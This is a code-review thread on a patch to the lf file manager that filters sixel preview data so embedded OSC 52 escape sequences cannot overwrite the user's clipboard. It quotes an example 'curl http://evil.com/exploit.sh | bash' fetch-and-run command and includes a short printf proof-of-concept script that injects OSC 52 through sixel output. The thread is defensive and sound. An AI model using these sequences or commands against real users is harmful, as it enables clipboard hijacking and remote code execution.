fix: sanitize sixel previews

[valoq]

This patch now ensures that sixel parsing cannot include illegal sequences which are then written to the terminal.
Basically it checks if the sixel data contains only sequences that are valid base don the sixel specification

[veltza]

Do we really need sixel filtering in lf, given that terminals ignore invalid sixel characters anyway? My concern is that complex filtering will only increase CPU usage and further slow down sixel images.

[valoq]

Do we really need sixel filtering in lf, given that terminals ignore invalid sixel characters anyway?

Its not about invalid characters but malicious terminal sequences. The way sixel works in lf is that lf detects sixel based on the start byte and then passes all data directly to the terminal raw. That means sequences like OSC52 are interpreted by (all) terminals and overwrites your clipboard with something like
curl http://evil.com/exploit.sh | bash

When you expect something else in your clipboard, pasting that into a terminal and pressing enter is a likely risk

My concern is that complex filtering will only increase CPU usage and further slow down sixel images.

The performance impact is hardly even measurable and should be below 1ms even on slow hardware.
The filter should be even more performant now though.

[veltza]

Its not about invalid characters but malicious terminal sequences.

Of course, control characters need to be checked. But can't you do that by checking that the sixel character is printable like the previous code did with case b >= 0x20 && b <= 0x7E? That would be a lighter solution than sixelByteValid(), because terminals will ignore invalid sixel characters like *, +, / anyway.

The performance impact is hardly even measurable and should be below 1ms even on slow hardware.

Do preload threads perform this complex filtering as well? If so, does that affect performance?

[valoq]

Its not about invalid characters but malicious terminal sequences.

Of course, control characters need to be checked. But can't you do that by checking that the sixel character is printable like the previous code did with case b >= 0x20 && b <= 0x7E? That would be a lighter solution than sixelByteValid(), because terminals will ignore invalid sixel characters like *, +, / anyway.

Thats a good idea, I went ahead and implemented it.

Do preload threads perform this complex filtering as well? If so, does that affect performance?

yes, all sixel parsing is filtered. I did measure the performance and it has effectively no measurable impact.
When we only measure this changed function (and ignore that 99% of the processing time in lf is elsewhere) the patch adds about 0.001 ms to this function. Before you notice a delay we are talking about >50ms

[valoq]

@joelim-work You implemented sixel if I recall. Does this look like a reasonable solution for you?

[valoq]

Cleaned up the leftover code from previous approaches. Should be good now

[joelim-work]

Looks good, thanks.

For the reocrd, I was able to reproduce this using the following previewer script:

#!/bin/sh

printf '\ePq"1;1;1;1 \e]52;c;%s\e\\ \e\\' "$(echo 'Hello, world!' | base64)"

[valoq]

Looks good, thanks.

For the reocrd, I was able to reproduce this using the following previewer script:

#!/bin/sh

printf '\ePq"1;1;1;1 \e]52;c;%s\e\\ \e\\' "$(echo 'Hello, world!' | base64)"

Just to be sure, this does appear to be fully sanitized when used as lf previewer when I tested it. Or did it overwrite the clipboard for you?

[joelim-work]

Looks good, thanks.
For the reocrd, I was able to reproduce this using the following previewer script:

#!/bin/sh

printf '\ePq"1;1;1;1 \e]52;c;%s\e\\ \e\\' "$(echo 'Hello, world!' | base64)"

Just to be sure, this does appear to be fully sanitized when used as lf previewer when I tested it. Or did it overwrite the clipboard for you?

I tested against both the original version and with your changes. The original version actually processes the OSC 52 sequence and writes to the clipboard, while your version aborts processing the sixel sequence after encountering \e] and the subsequent preview contains the text following it - since the \e] is stripped out there is no such OSC 52 sequence and nothing is written to the clipboard.

BTW I think it would be a good idea to include a simple test case like that in PR descriptions to make it easier for others to reproduce and verify that the patch actually addresses the issue.